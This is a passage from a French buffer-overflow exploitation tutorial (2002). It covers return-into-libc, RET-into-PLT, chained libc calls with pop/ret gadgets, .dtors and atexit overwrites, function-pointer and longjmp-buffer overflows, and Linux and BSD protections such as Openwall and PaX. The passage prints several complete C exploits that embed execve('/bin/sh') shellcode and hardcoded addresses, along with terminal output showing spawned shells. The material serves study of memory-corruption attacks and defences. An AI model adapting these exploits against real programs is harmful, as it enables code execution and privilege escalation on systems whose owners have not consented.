31 execl("/home/ouah/vuln2","vuln2",shellbuf+ALIGN,NULL);
32 }
Tout d’abord, déterminons les adresses en mémoires des fonctions libc system() et
exit(). Regardons tout d’abord à quelle adresse se trouve le début de la libc pour notre
programme.
54/92
On voit donc qu’à l’exécution du programme vulnérable, la libc est mappée en
mémoire à l’adresse 0x40025000.
Il nous faut encore l’adresse mémoire d’une null-terminated string /bin/sh. Dans la
libc, il existe déjà plusieurs occurrences de cette chaîne : une chaîne /bin/sh est par
exemple utilisée pour la fonction popen(). Le débggueur gdb, contrairement à d’autres
débuggueurs, ne possède malheureusement pas de search features pour rechercher un
pattern en mémoire. Nous avons donc écrit en petit programme qui en comparant
/bin/sh dans la libc permet d’obtenir une adresse de cette chaîne de caractères en
mémoire (le code de ce programme est disponible en annexe). Il nous aurait aussi été
possible de placer cette string dans une variable d’environnement et de déterminer
facilement son adresse comme on l’a vu au chapitre 4.
55/92
ouah@weed:~$ ./srch
"/bin/sh" found at: 0x40121c19
Maintenant que nous possédons toutes nos adresses, nous pouvons fixer notre exploit
en modifiant les define du début et le compiler. Exécutons-le :
ouah@weed:~$ ./ex3
return-into-libc exploit by OUAH (c) 2002
Enjoy your shell!
sh-2.05$ exit
exit
ouah@weed:~$
Notre exploit nous donne bien un shell et nous pouvons le quitter proprement. Les
attaques RET-into-libc fonctionnent invariablement sur une pile exécutable ou non
exécutable. Cette méthode originale nous dispense en outre l’utilisation d’un
shellcode et utilise un payload minimal. Comme on l’a vu, il nécessite de connaître la
version exacte de la libc.
Comme on l’a dit plus haut, des protections supplémentaires incorporées aux versions
récentes des patchs kernel de sécurité mettent en échec un retour sous cette forme
dans la libc.
La conséquence est donc que certaines permissions ne sont pas effectives : par
exemple, la section .data heap possède les permissions rw-, donc ne devrait pas être
exécutable mais étant lisible, à cause des règles sus-mentionnées, du code peut quand
même y être exécuté. C’est aussi pour cette raison que même si Linux offrait la
possibilité de changer les permissions de la pile de rwx en rw-, ces modifications
seraient sans effet.
56/92
options pour améliorer la sécurité du kernel qui ne sont pas directement liées à la
préventions des buffer overflows, nous nous focaliserons sur celle qui propose
l’implémentation d’une pile non-exécutable.
Cette pile non-exécutable est implémentée lorsque le kernel est compilé avec la
nouvelle option CONFIG_SECURE_STACK. Pour résoudre le problème lié aux
trampolines, le patch dispose aussi de l’option CONFIG_SECURE_STACK_SMART qui
tente de détecter les trampolines et de les émuler. Le patch est fourni avec l’utilitaire
chstk. Ce programme prend un binaire a.out ou ELF en argument et lui ajoute un
nouveau flag qui indique au kernel que le programme doit être exécuté avec une pile
exécutable. Ceci permet de lancer un programme comme Xfree (voir section 9.1).
Nous allons exécuter l’exploit stack overflow du chapitre 3 sur un Linux 2.2.204 avec
le patch Openwall :
L’exploit segfault et ne nous donne pas de shell. Par contre, la tentative d’exploit a été
logguée avec syslogd :
Nous avons dis dans à la section 9.1 qu’il n’est plus possible d’utiliser la méthode
RET-into-libc pour contourner Openwall. En effet, Solar Design qui est le découvreur
de cette méthode et l’auteur du patch a résolu ce problème en changeant les adresses
où les shared librairies sont mmap()ées pour qu’elles contiennent toujours un byte 0.
Nous avons vu avant que la libc était mmap()ée pour notre programme à l’adresse
0x40025000, nous voyons qu’avec le patch celle-ci est désormais mappée plus bas
pour contenir un 0 dans le byte de poids le plus fort.
L’introduction d’un byte 0 dans les adresses libc empêche notre exploit de faire passer
le payload entier au programme vulnérable. En effet, comme nous l’avons vu à
maintes reprises dans ce document le byte 0 agit comme terminateur pour la
commande strcpy() (et ses dérivées). Notons que cette protection n’affecte en rien
l’exploitation si c’est la fonction gets() qui est en cause mais celle-ci a de toute façon
complètement disparu dans les programmes.
Notre exploit RET-into-libc de la section 9.1 échoue donc à nous donner un shell sur
ces versions de openwall car la première adresse libc de notre payload termine la
string.
4
A l’heure où l’article est écrit, un patch Openwall pour les kernels 2.4.x n’est pas encore disponible
57/92
Cependant, cette protection supplémentaire est peu efficace. Il existe plusieurs
solutions basée sur la méthode RET-into-libc pour contourner ce problème des
adresses libc qui contiennent un byte 0.
La Procedure Linkage Table (PLT) est une structure dans la section .text dont les
entrées sont constituées de quelques lignes de code qui s’occupe de passer le control
aux fonctions externes requises ou, si la fonction est appelée pour la première fois,
d’effectuer la résolution de symbole par le run time link editor. La PLT et ses entrées
ont sur l’architecture x86 le format suivant :
PLT0 :
push GOT[1] ; word of identifying information
jmp GOT[2] ; pointer to rtld function
nop
...
PLTn : jmp GOT[x+n] ; GOT offset of symbol adress
push n ; relocation offset of symbol
jmp PLT0 ; call the rtld
La Global Offset Table (GOT) est un tableau stocké dans la section .data qui contient
des pointeurs sur des objets. C’est le rôle du dynamic linker de mettre à jour ces
pointeurs quand ces objets sont utilisés.
Lorsqu’un programme utilise dans son code une fonction externe, par exemple la
fonction libc system(), le CALL ne saute pas directement dans la libc mais dans une
entrée de la PLT (Procedure Linkage Table). La première instruction dans cette
entrée PLT va sauter dans un pointeur stocké dans la GOT (Globale Offset Table). Si
cette fonction system() est appelée pour la première fois, l’entrée correspondante dans
la GOT contient l’adresse de la prochaine instruction à exécuter de la PLT qui va
pusher un offset et sauter à l’entrée 0 de la PLT. Cet entrée 0 contient du code pour
appeler le runtime dynamic linker pour la résolution de symbole et ensuite stocker
58/92
l’adresse du symbole. Ainsi les prochaines fois que system() sera appelé dans le
programme, l’entrée PLT associée à cette fonction redirigera le programme
directement au bon endroit en libc car l’entrée GOT correspondante contiendra
l’adresse dans la libc de system().
Cette approche où la résolution d’un symbole est faite uniquement lorsqu’il est requis
et non dès l’appel du programme s’appelle lazy symbol bind (résolution tardive de
symboles). C’est le comportement par défaut d’un ELF. La résolution de symboles
dès l’appel du programme peut être forcée en donnant la valeur 1 à la variable shell
LD_BIND_NOW.
9.4.2 RET-into-PLT
S’il l’on ne peut pas sauter directement en libc car les adresses contiennent toutes un
byte 0, on peut toujours sauter dans la section PLT. Le problème est que la fonction
libc que nous voulons utiliser doit exister dans le programme vulnérable pour qu’elle
possède une entrée dans la PLT.
On sait que l’écrasante majorité des programmes utilisent par contre les fonctions
strcpy() ou sprintf(). Nous allons élaborer avec la fonction strcpy() une méthode RET-
into-PLT capable d’exploiter notre programme vulnérable. Dans notre prochain
exploit, l’adresse de retour du programme vulnérable est écrasée par l’adresse PLT de
strcpy(); notre programme vulnérable utilisant la fonction strcpy(), il y possède donc
une entrée PLT. Avec strcpy(), nous déplaçons notre shellcode vers une zone
exécutable. Pour que la copie puisse s’effectuer il faut aussi que la zone soit writeable.
La fonction strcpy() copie un shellcode dans une zone writable. Dans notre payload
nous faisons suivre notre adresse PLT de strcpy() par l’adresse du shellcode qui sera
copiée. Ainsi quand la fonction strcpy() retournera, le programme sautera dans la zone
où nous y avons placé un shellcode.
59/92
1 #include <stdio.h>
2
3 char bufdata[1024] = "Ceci est un buffer dans .data";
4
5 main (int argc, char *argv[])
6 {
7 char buffer[512];
8
9 if (argc > 1)
10 strcpy(buffer,argv[1]);
11 }
L’exploit pour ce programme construit le payload que nous avons décrits plus haut.
Le shellcode est placé dans une variable d’environnement et on a utilisé execle() pour
déterminer trivialement l’adresse du shellcode dans la pile. Voici l’exploit :
1 /*
2 * sample ret-into-plt exploit
3 */
4
5 #include <stdio.h>
6
7 #define PLTSTRCPY 0x8048304
8 #define ADDRDATA 0x80494a0
9 #define ALIGN 0
10
11 char sc[]=
12 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
13 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
14
15
16 main(int argc, char *argv[]) {
17
18 char *env[2] = {sc, NULL};
19 char shellbuf[532+ALIGN]; /* 20+3*4+1+ALIGN */
20 int *ptr;
21 int ret = 0xbffffffa - strlen(sc)-strlen("/home/ouah/vuln9
");
22
23 memset(shellbuf, 0x41, sizeof(shellbuf));
24 shellbuf[sizeof(shellbuf)-1] = 0;
25
26 ptr = (int *)(shellbuf+516+ALIGN);
27 *ptr++ =PLTSTRCPY;
28 *ptr++ =ADDRDATA;
29 *ptr++ =ADDRDATA;
30 *ptr++ =ret;
31
32
33 printf(" return-into-PLT exploit\n");
34 execle("/home/ouah/vuln9","
vuln9",shellbuf+ALIGN,NULL, env);
35 }
60/92
Certaines valeurs dans des defines nécessitent d’être fixées pour rendre l’exploit
fonctionnel : l’adresse PLT de strcpy() et une adresse valide dans la section .data.
Utilisons gdb pour obtenir l’adresse PLT de strcpy() du programme vulnérable.
Choisissons maintenant une adresse qui appartient à la section .data et qui ne contient
pas de 0.
Nous prendrons par exemple l’adresse 0x80494a0. Nous avons toutes les adresses
pour faire fixer l’exploit et le faire fonctionner correctement.
ouah@weed:~$ ./ex10
return-into-PLT exploit
sh-2.05$ exit
exit
ouah@weed:~$
Remarquons au passage, que le shellcode est exécuté malgré qu’il se trouve dans la
zone .data dont les pages ne possèdent pas le bit d’exécution (rw-), cela
conformément aux règles énoncées au chapitre 9.2.
Une autre technique RET-into-PLT fonctionne même si la section .data n’est pas
exécutable, en écrasant une entrée de la GOT de la fonction pour la faire passer pour
system() par exemple. Une techniques utilisant la GOT sera utilisées et explicité dans
le chapitre consacré au heap overflow.
Un des désavantages de la méthode return-into-libc est que l’on peut appeler très peu
de fonctions à la suite car les adresses de retour de l’un finissent par écraser les
paramètres de l’autre. Dans notre exploit du chapitre 9.1, il n’était ainsi pas possible
d’ajouter encore une fonction (par exemple un appel à setuid()) car son adresse aurait
du être au même endroit que le paramètre de la fonction system(). Pour résoudre ce
problème, il faut pouvoir modifier la valeur du pointeur de pile entre deux appels de
fonctions afin de décaler des valeurs qui se juxtaposent.
Par exemple :
61/92
add $0x10,%esp
ret
ou
pop %ecx
pop %eax
ret
Au chapitre, nous avons vu que l’épilogue d’une fonction se termine par les
instructions leave et ret. Nous ne trouverons donc pas de telles séquences dans notre
programme vulnérable. Ces séquences par peuvent se retrouver dans du code s’il a été
compilé avec l’option d’optimisation –fomit-frame-pointer de gcc. Cette option
n’utilise pas un registré pour le frame pointer pour les fonctions qui n’en ont pas
besoin, afin d’avoir un registre supplémentaire à disposition.
Des telles séquence sont néanmoins présentes dans la libc. Désassemblons le code de
la libc à la recherche d’une séquence pop et ret.
On trouve une vingtaine d’occurrences. Avec gdb, nous allons regarder cela de plus
près avec un offset pris au hasard:
Par chance nous sommes tombés sur une séquence de 4 pop à la suite! Nous pourrons
donc utiliser des fonctions qui contiennent jusqu’à 4 paramètres.
62/92
Comme un exemple est souvent plus claire, nous allons décrire notre prochain exploit.
Nous utiliserons encore le code vulnérable du chapitre 4 (vuln2.c). Notre but est de
simuler l’action d’un cmdshellcode (évoqué au chapitre 8). Avec l’enchaînement des
commandes suivantes :
gets(a);
system(a) ;
exit(0);
Notre programme une fois exploité attends une commande avec la fonction gets() puis
l’exécute avec la commande system() et enfin sort proprement avec exit(). Avec un
return-into-libc simple (non-chaîné), il n’est pas possible d’exécuter ces 2 fonctions à
la suite car l’adresse de exit() chevaucherait le premier argument de la fonction gets().
Voici l’exploit, il est commenté plus bas.
1 /*
2 * chained ret-into-libc exploit
3 * for vuln2.c by OUAH (c) 2002
4 * ex11.c
5 */
6
7 #include <stdio.h>
8 #include <unistd.h>
9
10 #define LIBBASE 0x40025000
11 #define MYSYSTEM (LIBBASE+0x48870)
12 #define MYEXIT (LIBBASE+0x2efe0)
13 #define MYGETS (LIBBASE+0x64da0)
14 #define MYBINSH 0x40121c19
15 #define DUMMY 0x41414141
16 #define ALIGN 1
17 #define POP1 (LIBBASE+0xcddd4)
18 #define POP2 (LIBBASE+0xcddd3)
19 #define POP3 (LIBBASE+0xcddd2)
20 #define POP4 (LIBBASE+0xcddd1)
21 #define STACK 0xbffff94c
22
23 main(int argc, char *argv[]) {
24
25 char shellbuf[64];
26 int *ptr;
27
28 memset(shellbuf, 0x41, sizeof(shellbuf));
29
30 ptr = (int *)(shellbuf+20+ALIGN);
31 *ptr++ =MYGETS;
32 *ptr++ =POP1;
33 *ptr++ =STACK;
34 *ptr++ =MYSYSTEM;
35 *ptr++ =POP1;
36 *ptr++ =STACK;
37 *ptr++ =MYEXIT;
38 *ptr++ =DUMMY;
39 *ptr =0;
40
41
42 printf(" chained ret-into-libc exploit by OUAH (c)
2002\n");
63/92
43 printf(" Enjoy your shell!\n");
44 execl("/home/ouah/vuln2","vuln2",shellbuf+ALIGN,NULL);
45 }
Nous faisons suivre dans l’exploit chacun appel de fonctions du même nombre de
POP qu’elles ont de paramètres. Les adresses des POP (lignes 17 à 20) sont obtenues
avec les offsets que nous avons trouvé plus haut en désassemblant la libc. Nos
fonctions gets() et system() ayant toutes les deux un seul argument, l’adresse de POP1
suffit dans notre exploit. Par exemple, quand le programme vulnérable (via l’exploit)
exécute gets() (ligne 31), il returne sur POP1 qui va décaler la pile pour que le ret de
POP1 tombe sur system() et pas sur le paramètre de gets().
Avant de tester l’exploit, il convient de fixer les adresses inconnues des #define, ce
que nous savons maintenant faire. La valeur STACK correspond à un endroit dans le
buffer vulnérable où est stocké l’entrée de gets() et se détermine ainsi :
ouah@weed:~$ ./exch
chained ret-into-libc exploit by OUAH (c) 2002
Enjoy your shell!
id
uid=1006(ouah) gid=100(users) groups=100(users)
ouah@weed:~$
Un désavantage de cette méthode pour chaîner des appels de fonctions est que si le
programme n’est pas compilé en –fomit-frame-pointer (soit dans l’écrasante majorité
des situations) nous devons utiliser ces séquences pop & ret en library. Or on sait que
sur certain patchs kernels, les adresses libc sont difficilement accessibles avec un
exploit (Openwall a des 0 dans toutes les adresses libc et Pax randomize les adresses
libc à chaque exécution). Une autre technique existe aussi pour chaîner des appels libc
avec l’épilogue classique d’une fonction (leave & ret) en fabriquant autant de fake
frame qu’il y a de fonctions.
64/92
9.6 RET-into-libc sur d’autres architectures
Solaris propose depuis sa version 2.6 une stack non exécutable activable en mettant à1
la variable noexec-user-stack du fichier /etc/system. La stack est cependant exécitable
par défaut et plusieurs spécialistes Sun recommande aux administrateurs ne pas
activer cette fonctionnalité pour ne pas altérer le fonctionnement de certains
programmes. Les attaque de type return-into-libc (et return-into-libc chaîné) sont
cependant efficaces pour contourner la protection si la pile non-exécutable est
activée.
Nous avons fait mention au chapitre 3.6 que le système d’exploitation Tru64 depuis sa
version 5.0 a réinstauré une pile non-exécutable par défaut. Le processeur Alpha sous
lequel Tru64 est en 64 bits ce qui rend pratiquement impossible une exploitation
return-into-libc à cause des nombreux 0 contenus dans les adresse mémoires. Il n’est
en effet aligner pas possible d’aligner plusieurs adresses dans le payload, car un 0
annonce immédiatement la fin du payload.
Nous terminerons ce chapitre sur les piles exécutables en disant quelques mots sur le
patch kernel Linux Pax qui n’a pas été abordé ici. Ce patch réussit la prouesse sous
x86 d’assurer la non-exécutabilité des pages mémoires (pas uniquement la pile). De
plus il possède plusieurs fonctionnalités qui rendent l’exploitation de buffer overflow
souvent impossible voir très ardue. Sous Pax , les adresses libc ainsi que celles de la
pile sont randomizée à chaque exécution. De plus, Pax inclut une library qui permet
de compiler les programme de telle sorte que la section .text soit également
randomizée à chaque exécution. Il existe toutefois quelques méthodes qui rendent
l’exploitation de certains overflows théoriquement exploitables. Une méthode, sur le
modèle du return-into-plt mais en plus complexe, consiste à retrouver certaines des
adresses libc avec le mécanisme dl-resolve() utilisé par la PLT pour résoudre ses
propres fonctions. Une autre méthode consiste à brute-forcer les adresses inconnues
de fonctions telles que system() en libc (pour autant que le programme segvguard
mentionné au chapitre 9.1 ne soit pas actif).
65/92
10. Heap Overflow
Les buffer overflows que nous avons vu précédemment avaient tous lieu dans la pile.
Dans ce chapitre sur les heap overflows, nous nous intéressons aux buffers overflow
qui ont lieu dans les autres segments mémoires que la pile : la section data, bss et
heap. Les sections suivantes montrent plusieurs conjonctures qui rendent
l’exploitation des heap overflows possible. Nous verrons enfin dans la section 10.x, la
technique la plus puissante pour l’exploitation de ces heap overflow : la malloc()
corruption.
Cet exemple, abo7.c, provient du site de gera dans la section « Advanced buffer
overflow » qui propose un challenge de plusieurs programmes vulnérables sans
solution qu’il s’agit d’exploiter.
Contrairement, aux stacks overflows, dans les heap overflows, nous n’avons pas de
registre %eip sauvegardé près du buffer vulnérable. Cepedant, en regardant
l’organisation des sections du programmes, on voit que la section .data se situe un peu
avant la section .dtors.
66/92
ouah@weed:~$ size -A -x vuln10
vuln10 :
section size addr
…
.data 0x120 0x8049460
.eh_frame 0x4 0x8049580
.ctors 0x8 0x8049584
.dtors 0x8 0x804958c
…
Un programme ELF est constitué des sections .ctors et .dtors qui sont respectivement
les constructeurs et les destructeurs du programme. Ce sont deux attributs du
compilateurs gcc, qui permettent l’exécution de fonctions avant l’appel à la fonction
main() et avant le dernier exit() du programme. Ces deux sections sont writeable par
défaut. Ainsi, en faisant déborder le buffer vulnérable de la section .data nous
arrivons à écrire dans la section .dtors et à exécuter du code à la sortie de notre
programme.
Il suffit donc d’écraser <adresse fonction1> par une adresse qui pointe dans du code à
nous, pour qu’il soit exécutée lorsqu’on sort du programme. Pour exploiter notre
exemple, nous mettons un shellcode au début du buffer vulnérable puis son adresse
dans la section .dtors.
Même si le programmeur n’a pas défini de fonctions pour ces attributs, ces sections
résident quand même en mémoire. Dans notre programme, la section .dtors est vide :
67/92
Nous obtenons donc l’adresse de notre buffer (0x8049480) et le nombre d’octets
depuis notre buffer jusqu’à l’adresse en DTORS à écraser. Nous avons donc toutes les
informations pour exploiter notre programme.
Comme l’a dit plus haut il est rare qu’un buffer overflow se produise dans la section
data. Cette technique est toutefois utile car elle montre que si l’on a l’a capacité
d’écrire dans une zone arbitraire de la mémoire du processus, on a ainsi la capacité de
rediriger le cours de son exécution. Cette technique est notamment fréquemment
utilisée dans l’exploitation de format bugs. L’avantage de cette méthode est qu’il est
facile d’obtenir les adresses nécessaires à son exécution si le binaire est readable
simplement avec un programme comme objdump. Le désavantage par contre est que
contrairement à la technique qui consistait à écraser la valeur de retour sur la pile de la
fonction contenant le buffer vulnérable où notre malicieux était exécuté dès la sortie
de la fonction, il faut maintenant attendre la fin du programme, soit à l’exécution de
exit(). Dans certaines conditions, il est ainsi difficile de garder un shellcode intacte
jusqu’à la fin du programme. Enfin pour bénéficier de ces destructors, le programme
doit avoir été compilé avec le compilateur C GNU.
1 #include <string.h>
2
3 int main(int argc, char *argv[])
4 {
5 static char buf[64];
6
7 if (argc > 1)
8 strcpy(buf, argv[1]);
9 }
En fait, il n’est pas possible dans l’état d’exploiter un programme comme celui-ci. Il
n’est pas possible d’écraser la section DTORS par exemple car celle-ci se trouve
avant la section .bss. Si l’on regarde avec la commande size l’organisation des
sections, on remarque de plus que la section .bss est la dernière section.
68/92
.sbss 0x0 0x8049540
.bss 0x60 0x8049540
.stab 0x78c 0x0
.stabstr 0x18e9 0x0
.comment 0xe4 0x0
.note 0x78 0x0
Total 0x2679
En fait, dans la section .bss (plus précisément après notre variable) il n’y a non plus
rien d’intéressant à écraser pour reprendre le contrôle du programme ou pour profiter
des privilèges du programme vulnérable. La seule manière donc de faire segfaulter le
programme, c’est en envoyant assez de données pour que le programme écrive dans
un segment qui ne lui a pas été alloué (soit un peu après la fin de la section .bss).
Notre programme est par contre exploitable s’il a été compilé en static! En effet, s’il
est compilé en static, l’organisation de la mémoire est un peu bousculé et certaines
structures sont placées après notre buffer vulnérable, qui si elles sont écrasée
modifient le cours de l’exécution du programme. Il s’agit des structures atexit qui par
le biais de la fonction atexit() autorisent le programme à enregistrer des fonctions qui
sont exécutées au moment où le programme exit(). Ces structures se retrouvent en
mémoire même si la fonction atexit() n’a pas été utilisé dans le programme. Ces
structures sont habituellement situées dans l’adressage de la libc mais compilé en
static elles passent subitement en .bss.
Tout d’abord, notre programme ne fait aucun un appel à exit() en sortie, comment
donc des fonction enregistrées avec atexit() pourrait-elles être exécutées? En fait dans
un programme, après que main() retourne, si elle n’exit() pas, un exit() a lieu de toutes
façon à la fin. On peut le vérifier avec la commande strace :
Cette technique ne fonctionne par contre malheureusement pas sous Linux, car ces
structures sont placées dans la section .data, qui se trouve en mémoire avant la section
.bss. Voyons cela.
La structure atexit porte le nom de __exit_funcs sous Linux. Voici son adresse, si le
programme est compilé normalement :
69/92
Soit dans l’adresssage de la libc, et voici maintenant où se situe cette structure si le
programme a été compilé statiquement :
Cette structure étant situé avant notre buffer, dans la section .data sous Linux, il n’est
pas possible de l’écraser.
Sous d’autres systèmes d’exploitation, par exemple FreeBSD, elle se trouve en .bss et
il est alors possible de l’écraser. Nous allons exploiter le programme vulnérable,
lorsqu’il est compilé en static, sous FreeBSD.
Il nous est donc possible d’écraser cette structure atexit(). Voici comment est défini la
structure atexit() :
struct atexit {
struct atexit *next;
int ind;
void (*fns[ATEXIT_SIZE])();
};
Le buffer fns[] est un tableau de pointeur fonctions qui sont exécutées dès que exit()
est appelé. La variable ind est un indexe de la prochaine case vide du tableau fns, ainsi
quand la fonction atexit() et appelé, fns[ind] est mis à jour est ind est incrémenté à la
prochaine case vide de fns. Le champ next (NULL par défaut) sert à allouer une
structure supplémentaire si le tableau fns est complètement rempli.
(next) 0x00000000
70/92
(ind) 0x00000001
(fns[0]) 0x0804bac0
(fns[1]) 0x00000000
Le problème qui se pose est évident, nous ne pouvons pas insérér de 0 dans notre
payload. De plus, exit() exécute les fonctions de fns en commençant par la dernière
structure atexit enregistrée, il n’est dont pas possible de mettre n’importe quelle autre
valeur dans le champ next.
Une méthode pour résoudre ce problème est de faire pointer (appelons notre structure
p) p->next à un endroit mémoire qui contient déjà un agencement semblable des
données. Et cet emplacement existe bel et bien! Les arguments d’un programme
quand il est exécuté sont stockées exactement sous le même schéma.
Vérifions cela :
Pour exploiter notre programme nous allons écraser p->next avec l’adresse de notre
fausse structure argv et p->ind avec un nombre négatif (0xffffffff par exemple) pour
pas que notre vraie structure atexit soit exécutée. Ceci constitue donc notre payload et
l’argument 1 du programme. Notre deuxième argument contiendra lui notre shellcode.
Voici l’exploit :
1 #include <stdio.h>
2
3 #define PROG "./vuln11"
4 #define HEAP_LEN 64
5
6 int main(int argc, char **argv)
7 {
8 char **env;
9 char **arg;
10 char heap_buf[150];
11
12 char eggshell[]= /* lsd-pl bsd shellcode */
13 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
14 "\x50\x54\x53\x50\xb0\x3b\xcd\x80";
71/92
15
16 memset(heap_buf, 'A', HEAP_LEN);
17 *((int *) (heap_buf + HEAP_LEN)) = (int) argv - (2 *
sizeof(int));
18 *((int *) (heap_buf + HEAP_LEN + 4)) = (int) 0xffffffff;
19 *((int *) (heap_buf + HEAP_LEN + 8)) = (int) 0;
20
21 env = (char **) malloc(sizeof(char *));
22 env[0] = 0;
23
24 arg = (char **) malloc(sizeof(char *) * 4);
25 arg[0] = (char *) malloc(strlen(PROG) + 1);
26 arg[1] = (char *) malloc(strlen(heap_buf) + 1);
27 arg[2] = (char *) malloc(strlen(eggshell) + 1);
28 arg[3] = 0;
29
30 strcpy(arg[0], PROG);
31 strcpy(arg[1], heap_buf);
32 strcpy(arg[2], eggshell);
33
34 if (argc > 1) {
35 fprintf(stderr, "Using argv %x\n", argv);
36 execve("./vuln11", arg, env);
37 } else {
38 execve(argv[0], arg, env);
39 }
40 }
[ouah@jenna]-(18:34:44) # ./ex13
Using argv bfbffdb4
$
Dans cette section 10.2, nous avons voulu montré deux choses. Premièrement que
malgré qu’un programme semble inexploitable, certaines conditions, ici le fait qu’il
soit compilé en static, peuvent radicalement changer la situation. Cet exemple est
aussi un prétexte pour présenter une nouvelle méthode pour modifier le flux
d’exécution d’un programme : les structures atexit. Si dans ce présent il a fallu feinter
pour modifier cettre structure atexit, plusieurs situations de buffer overflow qui
permettent de modifier des bytes à l’endroit voulu (exemple : modifier uniquement
une adresse de fns[]) rende l’usage facile des structures atexit pour un exploit.
72/92
Les pointeurs de fonctions sont des variables qui contiennent l’adresse mémoire du
début d’une fonction. On déclare un pointeur de fonction de cette manière :
type_fonction (*nom_variable)(paramètres_de_la_fonction);
1 #include <stdio.h>
2 #include <string.h>
3
4 void foo()
5 {
6 printf("La fonction foo a été exécutée\n");
7 }
8
9 main (int argc, char *argv[])
10 {
11 static char buf[32];
12 static void(*funcptr)();
13
14 funcptr=(void (*)())foo;
15
16 if (argc < 2) exit(-1);
17
18 strcpy(buf, argv[1]);
19 (void)(*funcptr)();
20
21 }
Notre programme vulnérable copie donc argv[1] dans un buffer en BSS puis exécute
la fonction foo() en utilisant un pointeur de fonction. A la ligne 12, on définit le
pointeur de fonction qui pointera sur la fonction foo()..
Le pointeur de fonction est ainsi écrasé par la va leur « AAAA » et donc au lieu
d’appeller la fonction foo() où le pointeur de fonction pointait, on saute directement à
l’adresse 0x41414141. Il est ainsi très aisé de modifier le registre Instruction Pointer
%eip dans ce genre de situations.
73/92
1 /*
2 * function ptr exploit
3 * Usage: ./ex1 [OFFSET]
4 * for vuln12.c by OUAH (c) 2002
5 * ex14.c
6 */
7
8 #include <stdio.h>
9 #include <stdlib.h>
10
11 #define PATH "./vuln12"
12 #define BUF_SIZE 64
13 #define DEFAULT_OFFSET 0
14 #define NOP 0x90
15 #define BSS 0x8049660
16
17 main(int argc, char **argv)
18 {
19
20
21 char sc[]=
22 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
23 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
24
25 char buff[BUF_SIZE+4];
26 char *ptr;
27 unsigned long *addr_ptr, ret;
28
29 int i;
30 int offset = DEFAULT_OFFSET;
31
32 ptr = buff;
33
34 if (argc > 1) offset = atoi(argv[1]);
35 ret = BSS + offset;
36
37 memset(ptr, NOP, BUF_SIZE-strlen(sc));
38 ptr += BUF_SIZE-strlen(sc);
39
40 for(i=0;i < strlen(sc);i++)
41 *(ptr++) = sc[i];
42
43 addr_ptr = (long *)ptr;
44 *(addr_ptr++) = ret;
45 ptr = (char *)addr_ptr;
46 *ptr = 0;
47
48 printf ("Jumping to: 0x%x\n", ret);
49 execl(PATH, "vuln12", buff, NULL);
50 }
Nous plaçon notre shellcode précédé de NOPs au début du buffer. Nous utilisons des
NOPs car le buffer en bss ne commence pas au tout début de la section bss de notre
programme. Le shellcode est exécuté dans le buffer ce qui ne pose pas de problèmes
car sous Linux/x86, les zones du bss, du heap ou de data sont writeable et exécutables,
Le define BSS du début de l’exploit doit donc être modifié par l’adresse de la section
BSS.
74/92
ouah@weed:~/heap2$ size -A -x vuln12 | grep ^.bss
.bss 0x80 0x8049660
Ensuite, on sait que notre buffer se trouve environ au milieu de la section BSS qui a
pour taille 0x80. On utilisera donc un offset aux alentours de 0x40 pour tomber à un
endroit dans les NOPs.
ouah@weed:~/heap2$ ./ex14 60
Jumping to: 0x804969c
sh-2.05$
Le programme est exploité dès que la fonction est appelé via son pointeur de fonction.
Nous avons dans notre exemple volontairement utilisé une fonction simple, c’est-à-
dire sans arguments et sans valeur de retour, mais dans le cas d’une fonction foo() qui
aurait été plus chargé, l’exploitation est analogue.
Ces pointeurs de fonctions peuvent être alloués n’importe où : dans la pile, dans la
heap, en bss ou en data.
1 #include <string.h>
2 #include <setjmp.h>
3
4 static char buf[64];
5 jmp_buf jmpbuf;
6
7 main(int argc, char **argv)
8 {
9 if (argc <= 1) exit(-1);
10
11 if (setjmp(jmpbuf)) exit(-1);
12
13 strcpy(buf, argv[1]);
14
75/92
15 longjmp(jmpbuf, 1);
16 }
1 /*
2 * longjmp buffer exploit
3 * Usage: ./ex1 [OFFSET]
4 * for vuln1.c by OUAH (c) 2002
5 * ex1.c
6 */
7
8 #include <stdio.h>
9 #include <stdlib.h>
10
11 #define PATH "./vuln13"
12 #define BUF_SIZE 64
13 #define DEFAULT_OFFSET 0
14 #define NOP 0x90
15 #define BSS 0x8049660
16
17 main(int argc, char **argv)
18 {
19
20
21 char sc[]=
22 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
23 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
24
25 char buff[BUF_SIZE+20+4+1];
26 char *ptr;
27 unsigned long *addr_ptr, ret;
28
29 int i;
30 int offset = DEFAULT_OFFSET;
31
32 ptr = buff;
76/92
33
34 if (argc > 1) offset = atoi(argv[1]);
35 ret = BSS + offset;
36
37 memset(ptr, NOP, (BUF_SIZE+20-4)-strlen(sc));
38 ptr += (BUF_SIZE+20-4)-strlen(sc);
39
40 for(i=0;i < strlen(sc);i++)
41 *(ptr++) = sc[i];
42
43 addr_ptr = (long *)ptr;
44 *(addr_ptr++) = 0xbfffaaaa;
45 *(addr_ptr++) = ret;
46 ptr = (char *)addr_ptr;
47 *ptr = 0;
48
49 printf ("Jumping to: 0x%x\n", ret);
50 execl(PATH, "vuln13", buff, NULL);
51 }
La subtilité ici est que nous rajoutons à la ligne 44, une adresse située dans la pile,
entre le shellcode et l’adresse à écraser du longjmp buffer. En effet, sans faire cela les
4 derniers bytes du shellcode ( "xb0\x0b\xcd\x80" ) se retrouveraient dans le champ
jmpbuf->__sp du longjmp buffer, qui est la sauvegarde du pointeur de pile. Ainsi,
dès l’exécution de la fonction longjmp(), le shellcode serait exécuté et le registre
%esp prendrait sa valeur auparavant sauvegardée (soit 0x80cd0bb0 les 4 derniers
bytes du shellcode). Or la deuxième instruction assembleur de notre shellcode est
pushl %eax (le \x50 du shellcode). Le processeurs va vouloir mettre le registres
%eax sur la pile mais l’adresse du sommet de la pile (0x80cd0bb0) n’appartient pas à
l’espace d’adresses du processus ce qui provoquerait un segfault. Nous mettons donc
l’adresse 0xbfffaaaa dans le champ jmpbuf->__sp du pour être sur que le
shellcode pour empiler des valeurs sur la pile.
Nous allons voir dans cet exemple comment la présence d’un pointeur en mémoire
rend l’exploitation du programmation suivant possible.
1 #include <string.h>
2 #include <stdio.h>
3
4 main (int argc, char *argv[])
77/92
5 {
6 static char buffer1[16];
7 static char buffer2[16];
8 static char *ptr;
9
